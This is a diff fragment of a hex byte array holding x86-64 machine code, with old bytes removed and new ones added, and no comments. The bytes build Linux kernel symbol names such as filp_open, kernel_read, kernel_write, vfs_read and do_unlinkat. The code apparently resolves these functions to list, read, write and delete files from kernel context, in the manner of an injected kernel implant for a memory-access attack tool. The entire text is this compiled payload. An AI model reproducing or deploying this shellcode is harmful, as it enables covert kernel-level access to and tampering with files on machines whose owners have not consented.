0x5f, 0xc7, 0x44, 0x24, - 0x2c, 0x72, 0x65, 0x61, 0x64, 0x40, 0x88, 0x74, 0x24, 0x30, 0xc7, 0x44, 0x24, 0x78, 0x76, 0x66, - 0x73, 0x5f, 0xc7, 0x44, 0x24, 0x7c, 0x77, 0x72, 0x69, 0x74, 0x66, 0xc7, 0x45, 0x80, 0x65, 0x00, - 0xc7, 0x85, 0xf0, 0x00, 0x00, 0x00, 0x79, 0x69, 0x65, 0x6c, 0x66, 0xc7, 0x85, 0xf4, 0x00, 0x00, - 0x00, 0x64, 0x00, 0xe8, 0x02, 0xfe, 0xff, 0xff, 0x85, 0xc0, 0x0f, 0x84, 0x48, 0x02, 0x00, 0x00, - 0x48, 0x8b, 0x4f, 0x10, 0x48, 0x8d, 0x55, 0xb8, 0xc7, 0x45, 0xb8, 0x69, 0x74, 0x65, 0x72, 0xc7, - 0x45, 0xbc, 0x61, 0x74, 0x65, 0x5f, 0xc7, 0x45, 0xc0, 0x64, 0x69, 0x72, 0x00, 0xe8, 0x22, 0xfe, - 0xff, 0xff, 0x48, 0x89, 0x43, 0x38, 0x48, 0x8d, 0x55, 0xc8, 0x48, 0x8b, 0x4f, 0x10, 0xc7, 0x45, - 0xc8, 0x76, 0x66, 0x73, 0x5f, 0xc7, 0x45, 0xcc, 0x72, 0x65, 0x61, 0x64, 0xc7, 0x45, 0xd0, 0x64, - 0x69, 0x72, 0x00, 0xe8, 0xfc, 0xfd, 0xff, 0xff, 0x48, 0x89, 0x43, 0x40, 0x48, 0x39, 0x73, 0x38, - 0x75, 0x09, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0xed, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x4f, 0x10, 0x48, - 0x8d, 0x54, 0x24, 0x38, 0xc7, 0x44, 0x24, 0x38, 0x76, 0x66, 0x73, 0x5f, 0xc7, 0x44, 0x24, 0x3c, - 0x73, 0x74, 0x61, 0x74, 0x40, 0x88, 0x74, 0x24, 0x40, 0xe8, 0xc6, 0xfd, 0xff, 0xff, 0x48, 0x89, - 0x43, 0x48, 0x48, 0x8d, 0x55, 0x88, 0x48, 0x8b, 0x4f, 0x10, 0xc7, 0x45, 0x88, 0x76, 0x66, 0x73, - 0x5f, 0xc7, 0x45, 0x8c, 0x73, 0x74, 0x61, 0x74, 0x66, 0xc7, 0x45, 0x90, 0x78, 0x00, 0xe8, 0xa1, - 0xfd, 0xff, 0xff, 0x48, 0x89, 0x43, 0x50, 0x48, 0x39, 0x73, 0x48, 0x75, 0x09, 0x48, 0x85, 0xc0, - 0x0f, 0x84, 0x92, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x4f, 0x10, 0x48, 0x8d, 0x55, 0x98, 0xc7, 0x45, - 0x98, 0x6b, 0x65, 0x72, 0x6e, 0xc7, 0x45, 0x9c, 0x5f, 0x70, 0x61, 0x74, 0x66, 0xc7, 0x45, 0xa0, - 0x68, 0x00, 0xe8, 0x6d, 0xfd, 0xff, 0xff, 0x48, 0x89, 0x43, 0x78, 0x48, 0x8d, 0x54, 0x24, 0x48, - 0x48, 0x8b, 0x4f, 0x10, 0xc7, 0x44, 0x24, 0x48, 0x70, 0x61, 0x74, 0x68, 0xc7, 0x44, 0x24, 0x4c, - 0x5f, 0x70, 0x75, 0x74, 0x40, 0x88, 0x74, 0x24, 0x50, 0xe8, 0x46, 0xfd, 0xff, 0xff, 0x48, 0x89, - 0x83, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x55, 0x18, 0x48, 0x8b, 0x4f, 0x10, 0xc7, 0x45, 0x18, - 0x76, 0x66, 0x73, 0x5f, 0xc7, 0x45, 0x1c, 0x67, 0x65, 0x74, 0x61, 0xc7, 0x45, 0x20, 0x74, 0x74, - 0x72, 0x5f, 0xc7, 0x45, 0x24, 0x6e, 0x6f, 0x73, 0x65, 0x66, 0xc7, 0x45, 0x28, 0x63, 0x00, 0xe8, - 0x10, 0xfd, 0xff, 0xff, 0x48, 0x89, 0x83, 0x88, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x54, 0x24, 0x58, - 0x48, 0x8b, 0x4f, 0x10, 0xc7, 0x44, 0x24, 0x58, 0x76, 0x66, 0x73, 0x5f, 0xc7, 0x44, 0x24, 0x5c, - 0x73, 0x74, 0x61, 0x74, 0x40, 0x88, 0x74, 0x24, 0x60, 0xe8, 0xe6, 0xfc, 0xff, 0xff, 0x48, 0x89, - 0x43, 0x58, 0x48, 0x8d, 0x54, 0x24, 0x20, 0x48, 0x8b, 0x4f, 0x10, 0xc7, 0x44, 0x24, 0x20, 0x67, - 0x65, 0x74, 0x6e, 0xc7, 0x44, 0x24, 0x24, 0x61, 0x6d, 0x65, 0x00, 0xe8, 0xc4, 0xfc, 0xff, 0xff, - 0x48, 0x89, 0x43, 0x60, 0x48, 0x8d, 0x55, 0x08, 0x48, 0x8b, 0x4f, 0x10, 0xc7, 0x45, 0x08, 0x67, - 0x65, 0x74, 0x6e, 0xc7, 0x45, 0x0c, 0x61, 0x6d, 0x65, 0x5f, 0xc7, 0x45, 0x10, 0x6b, 0x65, 0x72, - 0x6e, 0x66, 0xc7, 0x45, 0x14, 0x65, 0x6c, 0x40, 0x88, 0x75, 0x16, 0xe8, 0x94, 0xfc, 0xff, 0xff, - 0x48, 0x89, 0x43, 0x68, 0x48, 0x8d, 0x55, 0xd8, 0x48, 0x8b, 0x4f, 0x10, 0xc7, 0x45, 0xd8, 0x64, - 0x6f, 0x5f, 0x75, 0xc7, 0x45, 0xdc, 0x6e, 0x6c, 0x69, 0x6e, 0xc7, 0x45, 0xe0, 0x6b, 0x61, 0x74, - 0x00, 0xe8, 0x6e, 0xfc, 0xff, 0xff, 0x48, 0x89, 0x43, 0x70, 0x48, 0x39, 0x73, 0x58, 0x75, 0x0b, - 0x48, 0x39, 0x73, 0x60, 0x74, 0x62, 0x48, 0x85, 0xc0, 0x74, 0x5d, 0x48, 0x8b, 0x4f, 0x10, 0x48, - 0x8d, 0x55, 0xe8, 0xc7, 0x45, 0xe8, 0x6b, 0x65, 0x72, 0x6e, 0xc7, 0x45, 0xec, 0x65, 0x6c, 0x5f, - 0x72, 0xc7, 0x45, 0xf0, 0x65, 0x61, 0x64, 0x00, 0xe8, 0x37, 0xfc, 0xff, 0xff, 0x48, 0x89, 0x83, - 0x90, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x55, 0xf8, 0x48, 0x8b, 0x4f, 0x10, 0xc7, 0x45, 0xf8, 0x6b, - 0x65, 0x72, 0x6e, 0xc7, 0x45, 0xfc, 0x65, 0x6c, 0x5f, 0x77, 0xc7, 0x45, 0x00, 0x72, 0x69, 0x74, - 0x65, 0x40, 0x88, 0x75, 0x04, 0xe8, 0x0a, 0xfc, 0xff, 0xff, 0x48, 0x89, 0x83, 0x98, 0x00, 0x00, - 0x00, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xeb, 0x02, 0x33, 0xc0, 0x48, 0x8b, 0x9c, 0x24, 0xf8, 0x01, - 0x00, 0x00, 0x48, 0x81, 0xc4, 0xd0, 0x01, 0x00, 0x00, 0x5f, 0x5e, 0x5d, 0xc3, 0xcc, 0xcc, 0xcc, - 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xda, 0x41, 0xb9, 0xff, 0x01, 0x00, 0x00, 0x49, - 0x8d, 0x50, 0x18, 0x48, 0x8b, 0x4b, 0x18, 0x45, 0x8d, 0x41, 0x42, 0xe8, 0xc4, 0xfb, 0xff, 0xff, - 0x48, 0xb9, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0x48, 0x3b, 0xc1, 0x76, 0x07, 0xb8, - 0x02, 0x00, 0x00, 0xf0, 0xeb, 0x11, 0x48, 0x8b, 0x4b, 0x10, 0x45, 0x33, 0xc0, 0x48, 0x8b, 0xd0, - 0xe8, 0x9f, 0xfb, 0xff, 0xff, 0x33, 0xc0, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, 0xcc, 0xcc, - 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0x4a, 0x58, 0x48, 0x8b, 0xda, 0xb8, 0x01, 0x00, - 0x00, 0x00, 0x48, 0x85, 0xc9, 0x74, 0x0b, 0x49, 0x8d, 0x50, 0x18, 0xe8, 0x74, 0xfb, 0xff, 0xff, - 0xeb, 0x3a, 0x48, 0x8b, 0x4a, 0x68, 0x48, 0x85, 0xc9, 0x74, 0x07, 0x48, 0x83, 0x7a, 0x70, 0x00, - 0x75, 0x10, 0x48, 0x8b, 0x4a, 0x60, 0x48, 0x85, 0xc9, 0x74, 0x21, 0x48, 0x83, 0x7a, 0x70, 0x00, - 0x74, 0x1a, 0x49, 0x8d, 0x50, 0x18, 0xe8, 0x49, 0xfb, 0xff, 0xff, 0x48, 0x8b, 0x4b, 0x70, 0x4c, - 0x8b, 0xc0, 0xba, 0x9c, 0xff, 0xff, 0xff, 0xe8, 0x38, 0xfb, 0xff, 0xff, 0x48, 0xf7, 0xd8, 0x1b, - 0xc0, 0x25, 0x05, 0x00, 0x00, 0xf0, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0x48, 0x89, 0x5c, 0x24, - 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, 0x48, 0x83, 0xec, 0x50, - 0x48, 0x8b, 0xda, 0x49, 0x8b, 0xe8, 0x48, 0x8b, 0xf9, 0x49, 0x8d, 0x50, 0x18, 0x45, 0x33, 0xc9, - 0x41, 0xb8, 0x00, 0x00, 0x05, 0x00, 0x48, 0x8b, 0x4b, 0x18, 0xe8, 0xf5, 0xfa, 0xff, 0xff, 0x48, - 0x8b, 0xf0, 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0x48, 0x3b, 0xf0, 0x76, - 0x0a, 0xb8, 0x02, 0x00, 0x00, 0xf0, 0xe9, 0x84, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0x92, 0x00, - 0x00, 0x00, 0xe8, 0x09, 0xfb, 0xff, 0xff, 0x48, 0x8b, 0x4b, 0x38, 0x4c, 0x8d, 0x05, 0x06, 0xfb, - 0xff, 0xff, 0x4c, 0x89, 0x44, 0x24, 0x20, 0x48, 0x89, 0x5c, 0x24, 0x38, 0x48, 0x89, 0x7c, 0x24, - 0x30, 0x48, 0x89, 0x6c, 0x24, 0x40, 0x48, 0x85, 0xc9, 0x74, 0x0f, 0x4c, 0x8d, 0x44, 0x24, 0x20, - 0x48, 0x8b, 0xd6, 0xe8, 0x9c, 0xfa, 0xff, 0xff, 0xeb, 0x16, 0x48, 0x8b, 0x4b, 0x40, 0x48, 0x85, - 0xc9, 0x74, 0x14, 0x4c, 0x8d, 0x4c, 0x24, 0x20, 0x48, 0x8b, 0xd6, 0xe8, 0x84, 0xfa, 0xff, 0xff, - 0x48, 0x89, 0x87, 0x28, 0x02, 0x00, 0x00, 0x48, 0x8b, 0x4b, 0x10, 0x45, 0x33, 0xc0, 0x48, 0x8b, - 0xd6, 0xe8, 0x6e, 0xfa, 0xff, 0xff, 0x48, 0x8b, 0x4b, 0x30, 0xe8, 0x65, 0xfa, 0xff, 0xff, 0x4c, - 0x8b, 0xc5, 0x48, 0x8b, 0xd3, 0x48, 0x8b, 0xcf, 0xe8, 0xf7, 0x00, 0x00, 0x00, 0x33, 0xc0, 0x48, - 0x8b, 0x5c, 0x24, 0x60, 0x48, 0x8b, 0x6c, 0x24, 0x68, 0x48, 0x8b, 0x74, 0x24, 0x70, 0x48, 0x83, - 0xc4, 0x50, 0x5f, 0xc3, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89, - 0x74, 0x24, 0x18, 0x57, 0x48, 0x83, 0xec, 0x20, 0x4c, 0x8b, 0x49, 0x10, 0x48, 0x8b, 0xf9, 0x49, - 0x63, 0xf0, 0x48, 0x8b, 0xea, 0x49, 0x8b, 0x89, 0x00, 0x02, 0x00, 0x00, 0x48, 0x8d, 0x81, 0x40, - 0x02, 0x00, 0x00, 0x49, 0x3b, 0x81, 0x10, 0x02, 0x00, 0x00, 0x0f, 0x87, 0x8b, 0x00, 0x00, 0x00, - 0x49, 0x8b, 0x99, 0x08, 0x02, 0x00, 0x00, 0x45, 0x33, 0xc0, 0x49, 0x03, 0x59, 0x28, 0x41, 0xb9, - 0x40, 0x02, 0x00, 0x00, 0x48, 0x03, 0xd9, 0x48, 0x8b, 0x4f, 0x18, 0x48, 0x8b, 0xd3, 0x48, 0x8b, - 0x49, 0x08, 0xe8, 0xdd, 0xf9, 0xff, 0xff, 0x8b, 0x4c, 0x24, 0x58, 0xb8, 0x04, 0x00, 0x00, 0x00, - 0x3b, 0xc8, 0x74, 0x1b, 0x8d, 0x50, 0x04, 0x3b, 0xca, 0x74, 0x0b, 0x83, 0xf9, 0x0a, 0x0f, 0x45, - 0xc2, 0x48, 0x89, 0x03, 0xeb, 0x10, 0x48, 0xc7, 0x03, 0x01, 0x00, 0x00, 0x00, 0xeb, 0x07, 0x48, - 0xc7, 0x03, 0x02, 0x00, 0x00, 0x00, 0x33, 0xc9, 0x85, 0xf6, 0x74, 0x20, 0x48, 0x83, 0xc3, 0x38, - 0x48, 0x81, 0xf9, 0x03, 0x01, 0x00, 0x00, 0x73, 0x13, 0x0f, 0xb6, 0x04, 0x29, 0x48, 0xff, 0xc1, - 0x66, 0x89, 0x03, 0x48, 0x83, 0xc3, 0x02, 0x48, 0x3b, 0xce, 0x72, 0xe4, 0x48, 0x8b, 0x47, 0x10, - 0x48, 0x81, 0x80, 0x00, 0x02, 0x00, 0x00, 0x40, 0x02, 0x00, 0x00, 0x48, 0x8b, 0x5c, 0x24, 0x30, - 0x33, 0xc0, 0x48, 0x8b, 0x6c, 0x24, 0x38, 0x48, 0x8b, 0x74, 0x24, 0x40, 0x48, 0x83, 0xc4, 0x20, - 0x5f, 0xc3, 0xcc, 0xcc, 0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48, - 0x89, 0x78, 0x20, 0x55, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x8d, 0xa8, 0x78, - 0xf5, 0xff, 0xff, 0x48, 0x81, 0xec, 0x60, 0x0b, 0x00, 0x00, 0x45, 0x33, 0xe4, 0x48, 0xb8, 0x8f, - 0xe3, 0x38, 0x8e, 0xe3, 0x38, 0x8e, 0xe3, 0x48, 0x8b, 0xfa, 0x4c, 0x8b, 0xe9, 0x48, 0xf7, 0xa1, - 0x00, 0x02, 0x00, 0x00, 0x48, 0x8d, 0x45, 0x50, 0x41, 0x8b, 0xdc, 0x48, 0x8b, 0xf2, 0x48, 0xc1, - 0xee, 0x09, 0x4c, 0x2b, 0xc0, 0x49, 0x8d, 0x04, 0x18, 0x8a, 0x4c, 0x05, 0x68, 0x84, 0xc9, 0x74, - 0x10, 0x88, 0x4c, 0x1d, 0x50, 0x48, 0xff, 0xc3, 0x48, 0x81, 0xfb, 0x04, 0x01, 0x00, 0x00, 0x72, - 0xe4, 0xc6, 0x44, 0x1d, 0x50, 0x2f, 0x4d, 0x8b, 0xf4, 0x48, 0xff, 0xc3, 0x49, 0x89, 0xb5, 0x30, - 0x02, 0x00, 0x00, 0x48, 0x85, 0xf6, 0x0f, 0x84, 0x01, 0x02, 0x00, 0x00, 0x4c, 0x8d, 0x45, 0x50, - 0x49, 0x8b, 0xcc, 0x4c, 0x03, 0xc3, 0x48, 0x89, 0x8d, 0x90, 0x0a, 0x00, 0x00, 0x4d, 0x8b, 0xbd, - 0x08, 0x02, 0x00, 0x00, 0x4c, 0x03, 0xf9, 0x49, 0x8b, 0xcc, 0x4d, 0x03, 0x7d, 0x28, 0x49, 0x8d, - 0x57, 0x38, 0x66, 0x44, 0x3b, 0x22, 0x74, 0x16, 0x8a, 0x02, 0x48, 0x83, 0xc2, 0x02, 0x41, 0x88, - 0x04, 0x08, 0x48, 0xff, 0xc1, 0x48, 0x81, 0xf9, 0x04, 0x01, 0x00, 0x00, 0x72, 0xe4, 0x48, 0x8d, - 0x04, 0x19, 0x48, 0x8b, 0x4f, 0x50, 0x44, 0x88, 0x64, 0x05, 0x50, 0x48, 0x85, 0xc9, 0x0f, 0x84, - 0xe8, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x45, 0xb0, 0xc7, 0x44, 0x24, 0x28, 0xff, 0x07, 0x00, 0x00, - 0x41, 0xb9, 0x00, 0x08, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x20, 0x4c, 0x8d, 0x45, 0x50, 0xba, - 0x9c, 0xff, 0xff, 0xff, 0xe8, 0x5b, 0xf8, 0xff, 0xff, 0x48, 0x85, 0xc0, 0x74, 0x7f, 0x48, 0x8b, - 0x4f, 0x78, 0x48, 0x85, 0xc9, 0x0f, 0x84, 0x14, 0x01, 0x00, 0x00, 0x4c, 0x39, 0xa7, 0x88, 0x00, - 0x00, 0x00, 0x0f, 0x84, 0x07, 0x01, 0x00, 0x00, 0x4c, 0x8d, 0x8d, 0x60, 0x02, 0x00, 0x00, 0x41, - 0xb8, 0x00, 0x08, 0x00, 0x00, 0x48, 0x8d, 0x55, 0x50, 0xe8, 0x26, 0xf8, 0xff, 0xff, 0x48, 0x85, - 0xc0, 0x0f, 0x85, 0xe8, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x8f, 0x88, 0x00, 0x00, 0x00, 0x4c, 0x8d, - 0x45, 0xb0, 0x41, 0xb9, 0xff, 0x07, 0x00, 0x00, 0x4c, 0x89, 0x64, 0x24, 0x20, 0x48, 0x8d, 0x95, - 0x60, 0x02, 0x00, 0x00, 0xe8, 0xfb, 0xf7, 0xff, 0xff, 0x48, 0x8b, 0x8f, 0x80, 0x00, 0x00, 0x00, - 0x4c, 0x8b, 0xe0, 0x48, 0x85, 0xc9, 0x74, 0x0c, 0x48, 0x8d, 0x95, 0x60, 0x02, 0x00, 0x00, 0xe8, - 0xe0, 0xf7, 0xff, 0xff, 0x4d, 0x85, 0xe4, 0x0f, 0x85, 0xa2, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x45, - 0xe8, 0x49, 0xb8, 0x00, 0x91, 0x10, 0xb6, 0x02, 0x00, 0x00, 0x00, 0x49, 0x89, 0x47, 0x30, 0x48, - 0x8b, 0x4d, 0xf0, 0x49, 0x03, 0xc8, 0x48, 0x69, 0xc1, 0x80, 0x96, 0x98, 0x00, 0x49, 0x89, 0x47, - 0x08, 0x48, 0x8b, 0x4d, 0x10, 0x49, 0x03, 0xc8, 0x48, 0x69, 0xc1, 0x80, 0x96, 0x98, 0x00, 0x49, - 0x89, 0x47, 0x18, 0x48, 0x8b, 0x4d, 0x00, 0x49, 0x03, 0xc8, 0xeb, 0x58, 0x48, 0x8b, 0x4f, 0x48, - 0x4c, 0x8d, 0x44, 0x24, 0x30, 0x48, 0x8d, 0x55, 0x50, 0xe8, 0x86, 0xf7, 0xff, 0xff, 0x48, 0x85, - 0xc0, 0x75, 0x4c, 0x48, 0x8b, 0x44, 0x24, 0x50, 0x48, 0xba, 0x00, 0x91, 0x10, 0xb6, 0x02, 0x00, - 0x00, 0x00, 0x49, 0x89, 0x47, 0x30, 0x48, 0x8b, 0x4c, 0x24, 0x58, 0x48, 0x03, 0xca, 0x48, 0x69, - 0xc1, 0x80, 0x96, 0x98, 0x00, 0x49, 0x89, 0x47, 0x08, 0x48, 0x8b, 0x4c, 0x24, 0x78, 0x48, 0x03, - 0xca, 0x48, 0x69, 0xc1, 0x80, 0x96, 0x98, 0x00, 0x49, 0x89, 0x47, 0x18, 0x48, 0x8b, 0x4c, 0x24, - 0x68, 0x48, 0x03, 0xca, 0x48, 0x69, 0xc1, 0x80, 0x96, 0x98, 0x00, 0x49, 0x89, 0x47, 0x10, 0x48, - 0xb8, 0x15, 0xae, 0x47, 0xe1, 0x7a, 0x14, 0xae, 0x47, 0x49, 0xf7, 0xe6, 0x49, 0x8b, 0xc6, 0x48, - 0x2b, 0xc2, 0x48, 0xd1, 0xe8, 0x48, 0x03, 0xc2, 0x48, 0xc1, 0xe8, 0x05, 0x48, 0x6b, 0xc8, 0x32, - 0x4c, 0x3b, 0xf1, 0x75, 0x09, 0x48, 0x8b, 0x4f, 0x30, 0xe8, 0x06, 0xf7, 0xff, 0xff, 0x48, 0x8b, - 0x8d, 0x90, 0x0a, 0x00, 0x00, 0x4c, 0x8d, 0x45, 0x50, 0x48, 0x81, 0xc1, 0x40, 0x02, 0x00, 0x00, - 0x4d, 0x8d, 0x04, 0x18, 0x49, 0xff, 0xc6, 0x48, 0x89, 0x8d, 0x90, 0x0a, 0x00, 0x00, 0x41, 0xbc, - 0x00, 0x00, 0x00, 0x00, 0x4c, 0x3b, 0xf6, 0x0f, 0x82, 0x10, 0xfe, 0xff, 0xff, 0x4c, 0x8d, 0x9c, - 0x24, 0x60, 0x0b, 0x00, 0x00, 0x49, 0x8b, 0x5b, 0x38, 0x49, 0x8b, 0x73, 0x40, 0x49, 0x8b, 0x7b, - 0x48, 0x49, 0x8b, 0xe3, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5d, 0x41, 0x5c, 0x5d, 0xc3, 0xcc, 0xcc, + 0x00, 0x00, 0x00, 0x00, 0x51, 0x48, 0xb8, 0xd5, 0xfe, 0x37, 0x13, 0x01, 0xf0, 0x0f, 0xf0, 0x50, + 0x56, 0x48, 0x8b, 0xf4, 0x48, 0x83, 0xe4, 0xf0, 0x48, 0x83, 0xec, 0x20, 0xe8, 0x43, 0x0b, 0x00, + 0x00, 0x48, 0x8b, 0xe6, 0x5e, 0x58, 0x58, 0xc3, 0x41, 0x57, 0x41, 0x56, 0x41, 0x55, 0x41, 0x54, + 0x4c, 0x8b, 0xf9, 0x4c, 0x8b, 0xf2, 0x4d, 0x8b, 0xe9, 0x49, 0xc1, 0xe5, 0x03, 0x4d, 0x8b, 0xe0, + 0x49, 0x83, 0xed, 0x08, 0x49, 0x8b, 0xcf, 0x4b, 0x8b, 0x14, 0x2e, 0xe8, 0x22, 0x00, 0x00, 0x00, + 0x48, 0x85, 0xc0, 0x74, 0x11, 0x4b, 0x89, 0x04, 0x2c, 0x4d, 0x85, 0xed, 0x75, 0xe2, 0x48, 0x33, + 0xc0, 0x48, 0xff, 0xc0, 0xeb, 0x03, 0x48, 0x33, 0xc0, 0x41, 0x5c, 0x41, 0x5d, 0x41, 0x5e, 0x41, + 0x5f, 0xc3, 0x48, 0x8b, 0xc1, 0x57, 0x56, 0x48, 0x8b, 0xfa, 0x49, 0x8b, 0xf0, 0x49, 0x8b, 0xd1, + 0x48, 0x8b, 0x4c, 0x24, 0x38, 0x4c, 0x8b, 0x44, 0x24, 0x40, 0x4c, 0x8b, 0x4c, 0x24, 0x48, 0x41, + 0x57, 0x4c, 0x8b, 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0x48, 0x83, 0xec, 0x20, 0xff, 0xd0, 0x49, 0x8b, + 0xe7, 0x41, 0x5f, 0x5e, 0x5f, 0xc3, 0x51, 0x52, 0x48, 0x33, 0xc0, 0x48, 0xba, 0xd5, 0xfe, 0x37, + 0x13, 0x01, 0xf0, 0x0f, 0xf0, 0x48, 0x8b, 0x0c, 0xc4, 0x48, 0xff, 0xc0, 0x48, 0x3b, 0xca, 0x75, + 0xf4, 0x48, 0x8b, 0x04, 0xc4, 0x5a, 0x59, 0xc3, 0xe8, 0xd9, 0xff, 0xff, 0xff, 0x48, 0x05, 0x88, + 0x03, 0x00, 0x00, 0x48, 0x89, 0x08, 0xc3, 0x41, 0x57, 0x4c, 0x8b, 0xfc, 0x48, 0x83, 0xe4, 0xf0, + 0x41, 0x51, 0x41, 0x50, 0x48, 0x83, 0xec, 0x20, 0x4c, 0x8b, 0xc9, 0x4c, 0x8b, 0xc2, 0x48, 0x8b, + 0xd6, 0x48, 0x8b, 0xcf, 0xe8, 0xad, 0xff, 0xff, 0xff, 0x48, 0x05, 0x88, 0x03, 0x00, 0x00, 0x48, + 0x8b, 0x00, 0xff, 0xd0, 0x49, 0x8b, 0xe7, 0x41, 0x5f, 0xc3, 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x88, 0xff, 0xff, 0x48, 0x03, 0xc1, 0xc3, 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, + 0xff, 0xff, 0x48, 0x2b, 0xc8, 0x48, 0xc1, 0xe9, 0x07, 0x48, 0xc1, 0xe1, 0x0c, 0x48, 0x8b, 0xc1, + 0xc3, 0x0f, 0x09, 0xc3, 0x48, 0x89, 0x5c, 0x24, 0x10, 0x55, 0x56, 0x57, 0x48, 0x8d, 0xac, 0x24, + 0x30, 0xff, 0xff, 0xff, 0x48, 0x81, 0xec, 0xd0, 0x01, 0x00, 0x00, 0x33, 0xf6, 0xc7, 0x85, 0x00, + 0x01, 0x00, 0x00, 0x6d, 0x65, 0x6d, 0x63, 0x48, 0x8d, 0x85, 0x00, 0x01, 0x00, 0x00, 0x66, 0xc7, + 0x85, 0x04, 0x01, 0x00, 0x00, 0x70, 0x79, 0x48, 0x89, 0x45, 0x30, 0x48, 0x8b, 0xda, 0x48, 0x8d, + 0x85, 0x08, 0x01, 0x00, 0x00, 0x40, 0x88, 0xb5, 0x06, 0x01, 0x00, 0x00, 0x48, 0x89, 0x45, 0x38, + 0x44, 0x8d, 0x4e, 0x07, 0x48, 0x8d, 0x45, 0xa8, 0xc7, 0x85, 0x08, 0x01, 0x00, 0x00, 0x6d, 0x65, + 0x6d, 0x73, 0x48, 0x89, 0x45, 0x40, 0x48, 0x8b, 0xf9, 0x48, 0x8b, 0x49, 0x10, 0x48, 0x8d, 0x44, + 0x24, 0x68, 0x48, 0x89, 0x45, 0x48, 0x4c, 0x8b, 0xc2, 0x48, 0x8d, 0x44, 0x24, 0x28, 0x66, 0xc7, + 0x85, 0x0c, 0x01, 0x00, 0x00, 0x65, 0x74, 0x48, 0x89, 0x45, 0x50, 0x48, 0x8d, 0x55, 0x30, 0x48, + 0x8d, 0x44, 0x24, 0x78, 0x40, 0x88, 0xb5, 0x0e, 0x01, 0x00, 0x00, 0x48, 0x89, 0x45, 0x58, 0x48, + 0x8d, 0x85, 0xf0, 0x00, 0x00, 0x00, 0x48, 0x89, 0x45, 0x60, 0xc7, 0x45, 0xa8, 0x66, 0x69, 0x6c, + 0x70, 0xc7, 0x45, 0xac, 0x5f, 0x63, 0x6c, 0x6f, 0x66, 0xc7, 0x45, 0xb0, 0x73, 0x65, 0x40, 0x88, + 0x75, 0xb2, 0xc7, 0x44, 0x24, 0x68, 0x66, 0x69, 0x6c, 0x70, 0xc7, 0x44, 0x24, 0x6c, 0x5f, 0x6f, + 0x70, 0x65, 0x66, 0xc7, 0x44, 0x24, 0x70, 0x6e, 0x00, 0xc7, 0x44, 0x24, 0x28, 0x76, 0x66, 0x73, + 0x5f, 0xc7, 0x44, 0x24, 0x2c, 0x72, 0x65, 0x61, 0x64, 0x40, 0x88, 0x74, 0x24, 0x30, 0xc7, 0x44, + 0x24, 0x78, 0x76, 0x66, 0x73, 0x5f, 0xc7, 0x44, 0x24, 0x7c, 0x77, 0x72, 0x69, 0x74, 0x66, 0xc7, + 0x45, 0x80, 0x65, 0x00, 0xc7, 0x85, 0xf0, 0x00, 0x00, 0x00, 0x79, 0x69, 0x65, 0x6c, 0x66, 0xc7, + 0x85, 0xf4, 0x00, 0x00, 0x00, 0x64, 0x00, 0xe8, 0xdc, 0xfd, 0xff, 0xff, 0x85, 0xc0, 0x0f, 0x84, + 0x48, 0x02, 0x00, 0x00, 0x48, 0x8b, 0x4f, 0x10, 0x48, 0x8d, 0x55, 0xb8, 0xc7, 0x45, 0xb8, 0x69, + 0x74, 0x65, 0x72, 0xc7, 0x45, 0xbc, 0x61, 0x74, 0x65, 0x5f, 0xc7, 0x45, 0xc0, 0x64, 0x69, 0x72, + 0x00, 0xe8, 0xfc, 0xfd, 0xff, 0xff, 0x48, 0x89, 0x43, 0x38, 0x48, 0x8d, 0x55, 0xc8, 0x48, 0x8b, + 0x4f, 0x10, 0xc7, 0x45, 0xc8, 0x76, 0x66, 0x73, 0x5f, 0xc7, 0x45, 0xcc, 0x72, 0x65, 0x61, 0x64, + 0xc7, 0x45, 0xd0, 0x64, 0x69, 0x72, 0x00, 0xe8, 0xd6, 0xfd, 0xff, 0xff, 0x48, 0x89, 0x43, 0x40, + 0x48, 0x39, 0x73, 0x38, 0x75, 0x09, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0xed, 0x01, 0x00, 0x00, 0x48, + 0x8b, 0x4f, 0x10, 0x48, 0x8d, 0x54, 0x24, 0x38, 0xc7, 0x44, 0x24, 0x38, 0x76, 0x66, 0x73, 0x5f, + 0xc7, 0x44, 0x24, 0x3c, 0x73, 0x74, 0x61, 0x74, 0x40, 0x88, 0x74, 0x24, 0x40, 0xe8, 0xa0, 0xfd, + 0xff, 0xff, 0x48, 0x89, 0x43, 0x48, 0x48, 0x8d, 0x55, 0x88, 0x48, 0x8b, 0x4f, 0x10, 0xc7, 0x45, + 0x88, 0x76, 0x66, 0x73, 0x5f, 0xc7, 0x45, 0x8c, 0x73, 0x74, 0x61, 0x74, 0x66, 0xc7, 0x45, 0x90, + 0x78, 0x00, 0xe8, 0x7b, 0xfd, 0xff, 0xff, 0x48, 0x89, 0x43, 0x50, 0x48, 0x39, 0x73, 0x48, 0x75, + 0x09, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x92, 0x01, 0x00, 